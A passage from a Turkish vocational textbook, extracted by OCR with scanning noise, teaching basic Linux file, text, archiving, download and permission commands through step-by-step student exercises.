rmdir | rmdir [dizin adi] Bos dizinleri silmek icin kullanilir.
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rm [dosya adi] Dosya ve dizinleri silmek icin kullanihr.

Bos dizinleri silmek icin -d parametresi kullaniimalidir.
rm [parametre] [dosya|. . L . .
rm adi] I¢ ice olusturulan dizinleri silmek igin -r parametresi kullaniimalidir.
Dosya veya dizin silerken kullanicidan onay almak igin -i parametresi
rm [parametre] [dizin adi] | kullaniimalidir.

cp cp [kaynak] [hedef] Dosya ve dizinleri kopyalamak igin kullantlir.

mv [kaynak] [hedef] . . o
mv ) Dosya ve dizinleri tasimak, yeniden adlandirmak icin kullanilir.
mv [mevcut ad] [yeni ad]

find [dizin yolu] -name

find Dosya ve dizin aramalari igin kullanihr.
dosya

6. UYGULAMA Dosya ve dizin yonetimi komutlarinin kullanimini asagidaki adimlar

dogrultusunda gerceklestiriniz.

1. Adim: Ugbirim 6ykiinliclstini aginiz.
2. Adim: Komut satirina pwd yaziniz.

3. Adim: root kullaniciya ge¢cmek icin sudo su yazarak Enter tusuna basiniz (Parola belirlediyseniz
parolanizi giriniz.).

4. Adim: Komut satirina tekrar pwd yaziniz.
5. Adim: Komut satirina exit yazarak root yetkisini birakiniz.
6. Adim: Komut satirina Is yazarak mevcut dizin igerigini listeleyiniz.

7. Adim: Komut satirina Is -lah yazarak mevcut dizin icerigini ayrintili bir sekilde listeleyiniz (Gorsel
4.43).

[:f(ogrenciéaokulJ-{~]
$ pwd
/home/ogrenci

[jf(ogrenciEBokulj-[~}

$ sudo su

[sudo] password for ogrenci:

[j{ruotﬁsnkul)—{/hume/ogrenci]
# pwd

/home/ogrenci

[:—(routﬁ3okul)-[thME/ogrenci]
i

exit
[:—(ogrenciﬁaokulj—[~]

$ 1s
Belgeler Genel Indirilenler Masaiistii Miizik Resimler Sablonlar Videolar

(ogrenci® okul)-[~]
EP e i

1s -lah
toplam 208K
drwx 18 ogrenci ogrenci 4,0K Agu 9 14:08 .
drwxr-xr-x 3 root root 4,0K ASu 6 23:32 ..
-rw-r--r-- 1 ogrenci ogrenci 220 Agu 6 23:32 .bash_logout
-rw-r--r-- 1 ogrenci ogrenci 5,5K Agu 6 23:32 .bashrc
-rw-r--r-- 1 ogrenci ogrenci 3,5K Agu 6 23:32 .bashrc.original
drwxr-xr-x 5 ogrenci ogrenci 4,0K Agu 7 10:13 Belgeler
drwxr-xr-x 11 ogrenci ogrenci 4,0K ASu 8 15:47 .cache

Gorsel 4.43: pwd ve Is komutlarinin érnek kullanimi



8. Adim: Komut satirina cd / yazarak kok dizine geginiz.
9. Adim: Komut satirina Is yazarak kok dizin igerigini listeleyiniz.

10. Adim: Komut satirina cd yazarak ana dizine geciniz.
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11. Adim: Komut satirina Is yazarak ana dizin icerigini listeleyiniz (Gorsel 4.44).

L—(ogrenci@okul)f[-]
$ cd /
L—(ogrenci@ okul)-[/]

$ 1s

etc media proc tmp

boot home mnt root srv usr
dev lost+found opt run  sys var
[:—(ogrenci@3oku1)-[/]

$ cd
E(ogrenci@okul)-["']

$ 1s
Belgeler Genel Indirilenler Masaiistii Miizik Resimler Sablonlar Videolar

Gorsel 4.44: Kok dizin ile ana dizinin igerigini listeleme

olusturunuz (Bu adimi tek komut satiri ile gerceklestiriniz.).

13. Adim: Ana dizinden Sistem dizinine tek komut satiri ile geginiz.

14. Adim: Bir (ist dizine geciniz (Odevler dizininde oldugunuzdan emin olunuz.).
15. Adim: Oku.txt dosyasini olusturunuz.

16. Adim: Bir (st dizine geginiz.

17. Adim: Komut satirina tree yazarak (Gorsel 4.45) dizinlerin igerigini agag yapisi seklinde gosteriniz ve

hiyerarsiyi inceleyiniz.

L—(ogrenci@ okul)-[~]
$ mkdir -p Masalistii/Odevler/Sistem

L—(ogrenci@ okul)-[~]
$ cd Masaiistii/Odevler/Sistem

L—( ogrenci® okul)-[~/Masaiistii/Odevler/Sistem]
$

cd .

L—( ogrenci® okul)-[~/Masaiistii/Odevler]
$ touch Oku.txt

[:—(ogrenci@Bokul)—[~/Masaﬁstﬁ/6dev1er]
$

cd .

L—( ogrenci® okul)-[~/Masaiistii]
$ tree

L— Gdevler

3 directories, 1 file

Gorsel 4.45: mkdir, cd, touch ve tree komutlarinin érnek kullanimi
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L
18. Adim: Masausti dizini icinde Konular dizinini olusturunuz.

19. Adim: Konular dizini igine gegerek Konular dizini igcinde konul.txt, konu2.txt ... konu9.txt seklinde
art arda dosyalar olusturunuz (Bu adimi tek komut satiri ile gergeklestiriniz.).

20. Adim: Konular dizini icerigini listeleyiniz (Ardisik dosyalarin olustugundan emin olunuz.).
21. Adim: konu9.txt dosyasini siliniz (Gorsel 4.46).

22. Adim: Konular dizini igerigini listeleyiniz (Dosyanin silindiginden emin olunuz.).

[r—(ogrenciﬁioku1)~[~/Masaﬁstﬁ]
$ mkdir Konular

f(ogrenci@ okul)-[~/Masaiistii]
$ cd Konular; touch konu{1l..9}.txt

r—(ogrenci® okul)-[~/Masaiistii/Konular]
| 1s

$ 1s
konul.txt konu3.txt konu5.txt konu7.txt konu9.txt

konu2.txt konu4.txt konub.txt konu8.txt

w_—(ogrenci@ okul)-[~/Masaiistii/Konular]
—% rm konu9.txt

(ogrenci® okul)-[~/Masaiistii/Konular]

konul.txt konu3.txt Kkonu5.txt konu7.txt
konu2.txt konu4.txt konu6.txt konu8.txt

Gorsel 4.46: mkdir, cd, touch, rm ve Is komutlarinin érnek kullanimi

SIRA

am : Asagida maddeler halinde verilen islemleri cihazinizda gergeklestiriniz.

e Bulundugunuz dizinde Dersler isimli bir dizin olusturunuz. Dersler dizinine geginiz.

e Dersler dizininde tek komut satiri ile Siber, Bilisim ve Elektronik dizinlerini olusturunuz.
e Siber dizinine geciniz.

e Siber dizini icinde gizli bir dosya olusturunuz.

e Bir Ust dizine geginiz.

e Liste.txt dosyasini touch komutunu kullanarak olusturunuz.

e Liste.txt dosyasinin adini Malzemeler.txt olarak degistiriniz.

e Malzemeler.txt dosyasini Elektronik dizinine tasiyiniz.
Dosya islemleri ile ilgili 6zel komutlar, komutlarin kullanimi ve agiklamalari Tablo 4.8’de verilmistir.
Tablo 4.8: Linux Dosya islemleriyle ilgili Ozel Komutlar

Komut Komutun Genel Kullanimi Agiklama
echo “mesaj metni” Konsol ekranina mesaj yazdirmak icin kullanilir.

echo |echo “mesaj” > [dosya adi] [ Onceden olusturulan veya yeni olusturulacak dosyalarin igine
echo “mesaj” >> [dosya adi] | bilgi eklemek icin yénlendirme operatérleri ile kullanilir.

Dosyalarin igerigini goriintilemek igin kullanilir. Dosya igerigi

cat cat [dosya ad] konsol ekranina yazdirilr.
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_— e Ejls;/ra:lrll:: icerigini son satirdan basa dogru goriintiilemek igin

rev rev [dosya adi] It)eorzy;ei:;izirgeigzg:h:zlzz:ﬁr|n karakterlerini sagdan sola dogru
Belirtilen dosyanin ilk on satirini gorintiler.

head | head [dosya adi] istenilen sayida satiri gériintiilemek i¢in -n parametresi
kullanilmaldir.
Belirtilen dosyanin son on satirini gériintdler.

tail tail [dosya ad] istenilen sayida satiri gériintiilemek icin -n parametresi
kullaniimalidir.

e || e Hese e :Vlgiit-:;||2(:j|\,/ilannln icerigini sayfalar halinde goéruntilemek

nl nl [dosya adi] Belirtilen dosyaya satir numaralari ekleyerek gorintdler.
Metin dosyalarinin igerigindeki bilgiler alfabetik sirali olarak
goriintilenir.
Metin dosyasi igerigini alfabetik siralamanin tam tersi sekilde

sort sort [dosya adi] goriintiilemek igin -r parametresi kullanilmalidir.

sort [parametre] [dosya adi] Metin dosyas! icerigini sayisal degerlere gore siralayip

goriintiilemek icin -n parametresi kullaniimalidir.
Metin dosyasi icerigindeki tekrar eden degerleri ¢ikararak al-
fabetik sirali gérintilemek icin -u parametresi kullaniimahdir.

we we [dosya ad|] E:EZ?nndlg bkifgi 52:;;dan, kelimeden ve karakterden olustugu

tr I lerernaial (el e :\;::t:nrlme:ci)?:I;J:g:lhlfengmde karakter degistirme ve silme

cut cut [parametre] [dosya adi] 2/;82“322/:?i;igneLlflllr;i(Iellrrl. her satirdan belli kisimlari alip
Belirtilen dosyalarin iginde arama yapmak igin kullanilir.
Blyiik ve kiigik harf duyarlihig olmadan arama yapmak igin -i

grep grep “aranan” [dosya adi] parametresi kullaniimalidir.
Aranan ifadenin dosya icinde ka¢ kez gectigini gortintilemek
icin -c parametresi kullaniimalidir.

diff diff [dosya adi] [dosya adi] [ iki dosya arasindaki farkhliklari bulmak icin kullanilr.

paste gg;s]te [z 2] [esE iki dosyayi siitun bazl birlestirmek icin kullanilir.

e Komut, dosya ve dizin adlari yazilirken biiyik ve kigtk harf duyarhligina dikkat (9
edilmelidir.

ao’'

* Dosya ve dizin adlari 255 karakteri gegmemelidir. Ozel karakterler (? * 1\ | & $~
vb.) dosya ve dizin adlarinda kullanilmamalidir.
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7. UYGULAMA Dosya islemleri ile ilgili 6zel komutlarin kullanimini asagidaki
adimlar dogrultusunda gerceklestiriniz (Gorsel 4.47).

1. Adim: Ugbirim 6ykiinticlisini aginiz.
2. Adim: Masadustl dizinine geginiz.

3. Adim: Masalistii dizini icinde Proje Ogrencileri
dizinini olusturunuz.

4. Adim: Masalisti dizini igerigini listeleyiniz (Proje
Ogrencileri dizininin olustugundan emin olunuz.).

5. Adim: Proje Ogrencileri dizinine geginiz.

6. Adim: echo komutunu kullanarak yeni olusturu-
lacak olan ogrenciler.txt dosyasi icine Ayse ismini

(ogrenci® okul )-[~]
I—_$ cd Masaiistu

L—(ogrenci@ okul)-[~/Masaiistii]
$ mkdir 'Proje Ogrencileri’

[:—(ogrenciééokul)—[~/Masaﬁstﬁ]
$ 1s
Konular Odevler 'Proje Ofrencileri'’

[j—(ogrenci@Bokul)—[~/Masaﬁstﬁ]
$ cd 'Proje Ogrencileri’

Gorsel 4.47: cd, mkdir ve Is komutlarinin 6rnek
kullanimi

ekleyiniz [Yonlendirme operatorii (>) kullaniimahdir (Gorsel 4.48).].

L—(ngrenci@; okul)-[~/Masaiistii/Proje Ogrencileri]
$ echo 'Ayse' > ogrenciler.txt

Gorsel 4.48: Yonlendirme operatori (>) kullanimi

7. Adim: ogrenciler.txt dosyasi icinde bulunan mevcut isimler silinmeden sirasiyla Kerem, Hakan, Burak
ve Alev isimlerini echo komutu ile ekleyiniz [Yonlendirme operatorii (>>) kullanilmalidir (Gérsel 4.49).].

E( ogrenci® okul)-[~/Masaiistii/Proje Ofrencileri]
$ echo 'Kerem' >> ogrenciler.txt

L—( ogrenci® okul)-[~/Masaiistii/Proje Ogrencileri]
$ echo 'Hakan' >> ogrenciler.txt

L—( ogrenci® okul)-[~/Masaiistii/Proje Ofrencileri]
echo 'Burak' >> ogrenciler.txt

L—( ogrenci® okul)-[~/Masaiistii/Proje Ogrencileri]
$ echo 'Alev' >> ogrenciler.txt

Gorsel 4.49: Yonlendirme operatori (>>) kullanimi

8. Adim: cat komutunu kullanarak ogrenciler.txt dosyasinin icerigini gorlntileyiniz (Gorsel 4.50).

cat ogrenciler.txt
Ayse
Kerem
Hakan
Burak
Alev

E( ogrenci® okul)-[~/Masaiistii/Proje Ogrencileri]
$

Gorsel 4.50: cat komutunun kullanimi
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9. Adim: tac komutunu kullanarak ogrenciler.txt dosyasinin icerigini gériintileyiniz (Gorsel 4.51).

[i—(ogrenciﬁsokul)~[~/ﬂasaﬁstﬁ/Proje Ogrencileri]
$ tac ogrenciler.txt

Alev

Burak

Hakan

Kerem

Ayse

Gorsel 4.51: tac komutunun kullanimi

10. Adim: rev komutunu kullanarak ogrenciler.txt dosyasinin igerigini goriintileyiniz (Gorsel 4.52).

[j—(ogrenciﬁsokul)-[~/ﬂasaﬁstﬁ/Proje Ogrencileri
$ rev ogrenciler.txt

esyA

merek

nakaH

karuB

velA

Gorsel 4.52: rev komutunun kullanimi

11. Adim: head komutunu kullanarak ogrenciler.txt dosyasinin ilk iki satirini gériintileyiniz (Gorsel
4.53).

[j—(ogrenciEEokul)7[~/Masaﬁstﬁ/Proje Ogrencileri]
$ head -n 2 ogrenciler.txt

Ayse

Kerem

Gorsel 4.53: head komutunun kullanimi

12. Adim: tail komutunu kullanarak ogrenciler.txt dosyasinin son satirini gértintlleyiniz (Gorsel 4.54).

[:7(ogrenc16)okulj—[~/Masaﬁstﬁ/Proje Ogrencileri]
$ tail -n 1 ogrenciler.txt
Alev

Gorsel 4.54: tail komutunun kullanimi

13. Adim: Komut satirina nl ogrenciler.txt yaziniz (Gorsel 4.55).

[:—(ogrencié§okul)-[~/Masaﬁstﬁ/Proje Ogrencileri]
nl ogrenciler.txt

Ayse

Kerem

Hakan

Burak

Alev

! W N

Gorsel 4.55: nl komutunun kullanimi

14. Adim: Komut satirina sort ogrenciler.txt yazarak ekran giktisinin alfabetik siralandigini dogrulayiniz
(Gorsel 4.56).

[:A(ogrenciﬁsokul)—[~/Masaﬁstﬁ/Proje Ogrencileri]
$ sort ogrenciler.txt

Alev

Ayse

Burak

Hakan

Kerem

Gorsel 4.56: sort komutunun kullanimi
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15. Adim: Komut satirina sort -r ogrenciler.txt yaziniz (Goérsel 4.57).

Ly

Kerem
Hakan
Burak

Ays
Ale

(ogrenci® okul)-[~/Masaiistii/Proje OSrencileri]
sort -r ogrenciler.txt

e
v

Gorsel 4.57: sort -r komutunun kullanimi

16. Adim: Komut satirina wc ogrenciler.txt yaziniz (Gorsel 4.58).

17. Adim: Komut satirinda grep burak ogrenciler.txt ve grep Burak ogrenciler.txt komutlarini yaziniz

(Gorsel 4.59).

Ls

]

(ogrenci® okul)-[~/Masaiistii/Proje Ogrencileri]
we ogrenciler.txt
5 29 ogrenciler.txt

Gorsel 4.58: wc komutunun kullanimi

Ls
Ly

Bur

(ogrenci® okul)-[~/Masaiistii/Proje Ogrencileril
orep burak ogrenciler.txt

(ogrenci® okul)-[~/Masaiistii/Proje Ogrencileri]
grep Burak ogrenciler.txt
ak

Gorsel 4.59: grep komutunun kullanimi

18. Adim: Komut satirinda grep -i hakan ogrenciler.txt yaziniz (Gorsel 4.60).

SIRA

J sizo |

L—(ogrenci@ okul)-[~/Masaiistii/Proje Ogrencileri]
$ grep -i hakan ogrenciler.txt
Hakan

Gorsel 4.60: grep -i komutunun kullanimi

Asagida maddeler halinde verilen islemleri cihazinizda gergeklestiriniz.

e Ucbirim dyktndcisind aginiz.

e Kullanicinin ev dizininde yer alan r ile biten dosyalari ve dizinleri echo komutunu kullanarak go-

rintlleyiniz.

e Masaiistii dizini icinde Gunler.txt metin dosyasini olusturunuz.

e Haftanin glinlerini echo komutu yardimiyla Gunler.txt dosyasina ekleyiniz.

e Haftanin glinlerini alfabetik sirali sekilde goriintileyiniz.

e Gunler.txt dosyasinda kag satir oldugu bilgisini goriintileyiniz.

e Gunler.txt dosyasini kék dizine kopyalayiniz.
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4.1.5.3. Arsivleme Komutlari

Arsivleme komutlar ile dosyalarin arsivienmesi, sikistirilmasi, arsivienen ve sikistirilan dosyalarin
aciimasi gibi islemler gergeklestirilir. Arsivieme komutlari, komutlarin kullanimi ve agiklamalari Tablo
4.9'da verilmistir.

Tablo 4.9: Linux Arsivleme Komutlari

Komut Komutun Genel Kullanimi Aciklama
Arsivleme yapmak, arsiv dosyasini agmak i¢in kullantilir.
tar tar [parametre] [arsiv] [dosya] | [arsiv] : Arsiv dosyasinin adidir.
[dosya] : Arsivlenecek dosyalardir.
gzip gzip [dosya adi] Dosyalari sikistirmak igin kullantlir.
gunzip gunzip [sikistiriimis dosyal] Sikistirilan dosyalari agmak igin kullantlir.
zip zip [dosya adi.zip] [dosya] Dosyalari sikistirmak icin kullanilir.
unzip unzip [dosya ad1.zip] Sikistirilan dosyalari agmak icin kullantlir.
8. UYGULAMA Arsivleme islemleriile ilgili komutlarin kullanimini asagidaki adimlar

dogrultusunda gerceklestiriniz.

1. Adim: Ugbirim 6ykiinticlstini aginiz.

2. Adim: Kullanicinin ev dizininde, icinde sistem giivenligi yazan dosyal.txt, dosya2.txt ... , dosya5.txt
isimlerinde bes adet dosya olusturunuz.

3. Adim: Komut satirina tar -cvf dosya.tar dosya*.txt yazarak dosyal.txt, dosya2.txt ..., dosya5.txt
dosyalarini tar komutuyla dosya.tar adi altinda arsivleyiniz.

4. Adim: Komut satirina Is yazarak dosya.tar arsiv dosyasinin olustugunu dogrulayiniz (Gorsel 4.61).

E(ogrenci@ okul)-[~]
echo "sistem giivenligi" » dosya{l..5}.txt

r(ngrenci@ okul)-[~]
$ tar -cvf dosya.tar dosya*.txt
dosyal.txt
dosyaZ.txt
dosya3.txt
dosyak.txt
dosya5.txt

E(ugrenci@uku’l)—[‘“]
$ 1s

Belgeler dosya2.txt dosya4.txt dosya.tar Indirilenler Miizik Sablonlar
dosyal.txt dosya3.txt dosyab.txt Genel Masaiisti Resimler Videolar

Gorsel 4.61: Arsivleme komutuna 6rnek kullanim
5. Adim: Komut satirina rm dosya*.txt yazarak olusturulan dosyalari siliniz.
6. Adim: Komut satirina Is yazarak dosyalarin silindigini dogrulayiniz.
7. Adim: Komut satirina tar -xvf dosya.tar yazarak arsiv dosyasini aginiz.
8. Adim: Komut satirina echo “ek” > dosya6.txt yazarak bir dosya olusturunuz.

9. Adim: Komut satirina tar -rf dosya.tar dosya6.txt yazarak dosya6.txt dosyasini arsive ekleyiniz.
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10. Adim: Komut satirina tar -tf dosya.tar yazarak arsiv icindeki dosyalari listeleyiniz (Gorsel 4.62).

(ogrenci® okul)-[~]
[ ¢
$ rm dosyax.txt

E(ogrenci@ okul)-[~]
$ s

Belgeler Genel Masaiistii Resimler Videolar
dosya.tar Indirilenler Miizik Sablonlar

E(ogrenci@ okul)-[~]
$ tar -xvf dosya.tar
dosyal.txt
dosya2.txt
dosya3.txt
dosyas.txt
dosyab.txt

[:—(ogrenciﬁﬁokul)—[~]
$ echo "ek" > dosyab.txt

L—(ogrenci@v okul)-[~]
tar -rf dosya.tar dosya6.txt

E(ogrenci@ okul)-[~]
$ tar -tf dosya.tar
dosyal.txt
dosya?.txt
dosya3.txt
dosyas.txt
dosyab. txt
dosyab.txt

Gorsel 4.62: Arsiv dosyasini agma ve arsive dosya ekleme komutunun kullanimi

SIRA

QE Asagida maddeler halinde verilen islemleri cihazinizda gergeklestiriniz.

e Ugbirim 6yklntclsuni aginiz.

e Kullanicinin ev dizininde igerigi farkl olan ¢ adet dosya olusturunuz.

e Komut satirinda tar komutunu kullanarak olusturdugunuz ti¢ dosyay! arsivleyiniz.

e Komut satirinda tar komutunu kullanarak olusturdugunuz arsivi farkl bir dizine tasiyiniz.
e Komut satirinda tar komutunu kullanarak tasidiginiz arsivi aginiz.

9. UYGULAMA Sikistirma islemleri ile ilgili komutlarin kullanimini asagidaki adimlar
dogrultusunda gercgeklestiriniz.

1. Adim: Ugbirim 6ykiinticlisiini aginiz.

2. Adim: Kullanicinin Masaiistii dizininde 6devl.txt dosyasini olusturarak dosya igine bir metin ekleyiniz.

3. Adim: Komut satirina gzip 6dev1.txt yaziniz.
4. Adim: Komut satirina Is yazarak 6dev1.txt.gz dosyasinin olusturuldugunu dogrulayiniz.

5. Adim: d6devl.txt.gz dosyasini ana dizine tasiyiniz.
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6. Adim: Ana dizine gecerek 6devl.txt.gz dosyasini aginiz.
7. Adim: Komut satirina Is yazarak sikistirilmis dosyanin agildigini dogrulayiniz (Goérsel 4.63).

L—h’ ogrenci® okul)-[~]
$ cd Masaiistii

L—(ogrenci@ okul)-[~/Masaiistii]
$ echo "Odev: Isletim Sistemleri" > 6devl.txt

lj( ogrenci® okul)-[~/Masaiistii]
$

gz1p oddevl.txt
(ogrenci® okul)-[~/Masaiistii]
-$ 1s
Konular Odevl.txt.gz Odevler 'Proje Ogrencileri'

" (ogrenci® okul )-[~/Masaiistii]

$ nv odevl.txt.gz ~

O (ogrenci® okul )-[~/Masaiistii]
$ cd

,jt' ogrenci® okul)-[~]
$ cunzip odevl.txt.gz

[*('ugrenci@ okul)-[~]
$ 1s

Belgeler dosya2.txt dosya4.txt dosyab.txt Genel Masaiistii
dosyal.txt dosya3.txt dosya5.txt dosya.tar Indirilenler Miizik Resimler

Gorsel 4.63: Sikistirma komutlarinin 6rnek kullanimi

Cihazinizda dnce ugbirim 6yklndcisinde kullanicinin ev dizininde proje.txt
isimli bir dosya olusturup, komut satirinda zip komutunu kullanarak sikistirma
islemini gerceklestiriniz. Ardindan komut satirinda unzip komutunu kullanarak
sikistirilmis dosyayi aginiz.

4.1.5.4. Dosya indirme Komutlari

Dosya indirme komutlari ile herhangi bir programa ihtiya¢ duymadan konsol Gizerinden tek veya toplu
dosya indirme islemleri gerceklestirilir. Dosya indirme komutlari, komutlarin kullanimi ve aciklamalari
Tablo 4.10’da verilmistir.

Tablo 4.10: Linux Dosya indirme Komutlari

Komut Komutun Genel Kullanimi Aciklama

wget [indirilecek dosya linki] Hedef dosya linkini kullanarak tek dosya indirmek icin

kullantlir.
wget - . -
e e o o Metin dosyasiigine eklenen linklerde yer alan dosyalari
g bir kerede toplu bicimde indirmek igin kullanilir.
10. UYGULAMA Dosya indirme islemleri ile ilgili komutlarin kullanimini asagidaki

adimlar dogrultusunda gergeklestiriniz.

1. Adim: Ugbirim 6ykiinliclstini aginiz.

2. Adim: Kullanicinin Masausti dizininde hedef adresteki logo.png dosyasini wget komutu ile indiriniz
(Hedef Adres: https://meslegimhayatim.meb.gov.tr/assets/images/logo.png).
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3. Adim: Komut satirina Is yazarak logo.png dosyasinin indirildiginden emin olunuz.
4. Adim: Komut satirina file logo.png yazarak dosya hakkinda bilgi aliniz.

5. Adim: Komut satirina xdg-open logo.png yazarak resmi uygun programla acginiz (Goérsel 4.64).

[ -(ogrenci® okul)-[~]
-$ cd Masaiistii

[ (ogrenci® okul )-[~/Masaiistii]

$ wget https://meslegimhayatim.meb.gov.tr/assets/images/logo.png
--2023-08-10 02:35:19-—- https://meslegimhayatim.meb.gov.tr/assets/images/logo.png
meslegimhayatim.meb.gov.tr (meslegimhayatim.meb.gov.tr) ¢dzimleniyor... 212.175.132.1

50

meslegimhayatim.meb.gov.tr (meslegimhayatim.meb.gov.tr)[212.175.132.130]:443 baglanal
1yor ... baglanti kuruldu.

HTTP istegi gonderildi, yanit bekleniyor ... 200 OK

Uzunluk: 72540 (71K) [image/png]

Kayit yeri: “logo.png’

logo.png 100%[ ] 70,84K -—-.-KB/s iginde @,05s

2023-08-10 02:35:19 (1,29 MB/s) - "logo.png' kaydedildi [72540/72540]

[ (ogrenci® okul)-[~/Masaiistii]

Konular logo.png Odevler 'Proje ﬁérencileri'
[ (ogrenci® okul )-[~/Masaiistii]
% file logo.png

logo.png: PNG image data, 400 x 513, E-bit/color RGBA, non-interlaced

[ (ogrenci® okul )-[~/Masatsti]
$ «dg-open logo.png
[ (ogrenci® okul)-[~/Masaiistii]

Gorsel 4.64: wget, file ve xdg-open komutlarinin kullanimi

SIRA

Cihazinizda o6nce ucbirim o6ykinicisinde kullanicinin ev dizininde kitaplar.txt
isimli bir dosya olusturarak bu dosyanin icine indirmek istediginiz e-kitap linklerini
ekleyiniz. Ardindan komut satirinda wget komutunu kullanarak toplu indirme islemini
gerceklestiriniz.

4.1.5.5. Yetkilendirme Komutlari

Linux isletim sisteminde normal kullanicilarin dosya ve dizinlerle ilgili yapabilecegi islemleri sinirlandir-
mak i¢in bazi glivenlik énlemleri alinmistir. Dosya ve dizinlerle ilgili islemlerde glivenligi saglamak igin
erisim izinleri kullanilir. Erisim izinleri; kullanicilarin, gruplarin ve digerlerinin belirli dosyalarla dizinlere
hangi tlrde erisim yetkilerine sahip olacagini tanimlar. Bu izinler; dosyada gergeklestirilecek okuma,
yazma ve ¢alistirma eylemlerini kontrol eder. Bu kontrol sayesinde dosya ve dizinlerin glvenligi saglanir.
Erisim izinleri su g kullanici sinifiigin tanimlanir:

e Kullanici (User): Dosya veya dizinin sahibi olan kullanicinin erisim izinlerini belirler.
e Grup (Group): Dosya veya dizinin ait oldugu grup kullanicilarinin erisim izinlerini belirler.
e Digerleri (Others): Diger kullanicilarin erisim izinlerini belirler.
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Her bir kullanici sinifi icin okuma, yazma ve ¢alistirma izinleri ayri ayri tanimlanabilir. Dosya ve dizinlerin
erisim izinleri Is -| komutu ile gérintilenebilir (Gorsel 4.65).

L—{ogr’enci@ okul)-[~]
$ 1s -1

toplam 40

drwxr-xr-x

-rw-r--r--

drwxr-xr-x

ogrenci ogrenci 4096 Agu
ogrenci ogrenci 16 Agu
root root 4096 Agu
drwxr-xr-x|2 ogrenci ogrenci 4096 Agu
drwxr-xr-x|2 ogrenci ogrenci 4096 Agu

5 10:13 Belgeler
1
3
2
2
drwxr-xr-x|2 ogrenci ogrenci 4096 Agu
2
o
2
@

02:48 deneme.txt
16:13 dersler
23:36 Genel

23:36 Indirilenler
Masaiistii
23:36 Mizik

23:36 Resimler
23:36 Sablonlar
23:36 Videolar

drwxr-xr-x|2 ogrenci ogrenci 4096 Agu
drwxr-xr-x ogrenci ogrenci 4096 Agu
drwxr-xr-x ogrenci ogrenci 4096 Agu
drwxr-xr-x|2 ogrenci ogrenci 4096 Agu

[= = I~ =~ B~ I - B = < - Y B
M
W
w
(=]

Gorsel 4.65: Erisim izinlerini goriintileme

Gorsel 4.65'de ilk situnda erisim izinleri verilmistir. Erisim izinleri 1:3:3:3 seklinde gruplandirilarak
anlamlandirilir. Erisim izinlerinin ilk karakteri d harfi ise dizin, - (tire) isareti ise dosya oldugunu gosterir.
Sonraki Ug¢ karakter kullanicinin, diger Ug¢ karakter grubun ve sondaki lg¢ karakter diger kullanicilarin
izinlerini gosterir. Erisim izinleri ile ilgili drnekler Tablo 4.11’de verilmistir.

Tablo 4.11: Erisim izinleri

Kullanici
(Sahip)

Grup Digerleri Agiklama

rw- : Dosya sahibinin okuma ve yazma izni var.

r-- : Dosya sahibi ile ayni grupta olan kullanicilarin sadece

-rw-r--r-- | Dosya | rw- r-- r-- o
okuma izni var.
r-- : Diger kullanicilarin sadece okuma izni var.
rwx : Dizin sahibinin okuma, yazma ve calistirma izni var.
drwxr-| ... r-x : Dizin sahibi ile ayni grupta olan kullanicilarin okuma
Dizin rwx r-x r-x o
Xr-X ve ¢alistirma izni var.

r-x : Diger kullanicilarin okuma ve galistirma izni var.

Dosyalara erisim icin kullanicilara saglanan su (g izin bulunur:
e Okuma (read, r) izni: Dosyanin icerigini gériintiileme yetkisi verir.
e Yazma (write, w) izni: Dosyanin icerigini silme ve degistirme yetkisi verir.
e Calistirma (execute, x) izni: Dosyayi calistirma yetkisi verir.
Dizinlere erisim icin kullanicilara saglanan su (¢ cesit izin bulunur:
e Okuma (read, r) izni: Dizin iginde yer alan dosya ve alt dizinleri gériintiileme yetkisi verir.

e Yazma (write, w) izni: Dizin icinde dosya / alt dizin silme ve olusturma yetkisi verir.
e Calistirma (execute, x) izni: Dizinler arasi gecis yapma yetkisi verir.

e Okuma (r) yetkisinin sayisal degeri 4’tur. ]
e Yazma (w) yetkisinin sayisal degeri 2’dir. Qo
e Calistirma (x) yetkisinin sayisal degeri 1’dir. \ =
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L
Yetkilendirme komutlari, komutlarin kullanimi ve agiklamalari Tablo 4.12’de verilmistir.

Tablo 4.12: Linux Yetkilendirme Komutlari

Komut Komutun Genel Kullanimi Aciklama
chmod [ugoa][+=-][rwx] [dosya] Dosya ve dizinlerin erigimi izinlerini degistirmek igin
chmod kullanilir.
chmod [sayisal deger] [dosya] u: User, g: Group, o: Others ve a: All

Dosyanin sahibini ve grubunu degistirmek igin

chown chown [yeni sahip] [dosya adi] e

Dosyalar tizerinde degisiklik yapiimasini engellemek

chattr chattr [parametre] [dosya adi] icin kullanili.

11. UYGULAMA Yetkilendirme islemleri ile ilgili komutlarin kullanimini asagidaki
adimlar dogrultusunda gergeklestiriniz.

1. Adim: Ugbirim 6ykiinliclstni aginiz.
2. Adim: Kullanicinin ev dizininde Kayitlar ve Tercihler isimli iki metin dosyasi olusturunuz.
3. Adim: Komut satirina Is -I Kayitlar Tercihler yazarak dosyalara ait erisim izin bilgilerini listeleyiniz.

4. Adim: Komut satirina chmod a+w Tercihler yazarak dosyanin yazma iznini tUm kullanici siniflarina
veriniz.

5. Adim: Komut satirina Is - Tercihler yazarak dosyaya ait erisim izin bilgilerini listeleyiniz.

6. Adim: Kayitlar dosyasinin dosya sahibine ve dosya grubuna calistirma izni vermek icin komut satirina
chmod ug+x Kayitlar yaziniz.

7. Adim: Komut satirina Is -| Kayitlar yazarak dosyaya ait erisim izin bilgilerini listeleyiniz (Gorsel 4.66).

lj( ogrenci® okul)-[~]
$ touch Kayitlar Tercihler

E(ogrenci@ okul)-[~]

$ 1s -1 Kayitlar Tercihler

-rw-r--r-- 1 ogrenci ogrenci © Agu 10 08:33 Kayitlar
-rw-r--r-- 1 ogrenci ogrenci @ Agu 10 @8:33 Tercihler

L—(ogrenci@ okul)-[~]
$ chmod a+w Tercihler

L—(ogrenci@ okul)-[~]
$ 1s -1 Tercihler
-rw-rw-rw- 1 ogrenci ogrenci @ Agu 10 08:33 Tercihler

L—(ogrenci@ okul)-[~]
$ chmod ug+x Kayitlar

L—(ogrenci@ okul)-[~]
$ 1s -1 Kayitlar
-rwxr-xr-- 1 ogrenci ogrenci @ Agu 10 08:33

Gorsel 4.66: Dosya erisim izinlerini degistirme
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8. Adim: Kullanicinin ev dizininde Sonuglar ve Raporlar isimli iki dizin olusturunuz.
9. Adim: Komut satirina Is -Id Sonuglar Raporlar yazarak dosyalara ait erisim izin bilgilerini listeleyiniz.

10. Adim: Komut satirina chmod go-rx Sonuglar yazarak dizinin okuma ve c¢alistirma izinlerini dizin
grubu ve diger kullanicilardan kaldiriniz.

11. Adim: Komut satirina Is -Id Sonuglar Raporlar yazarak dosyalara ait erisim izin bilgilerini listeleyiniz
ve degisimi inceleyiniz.

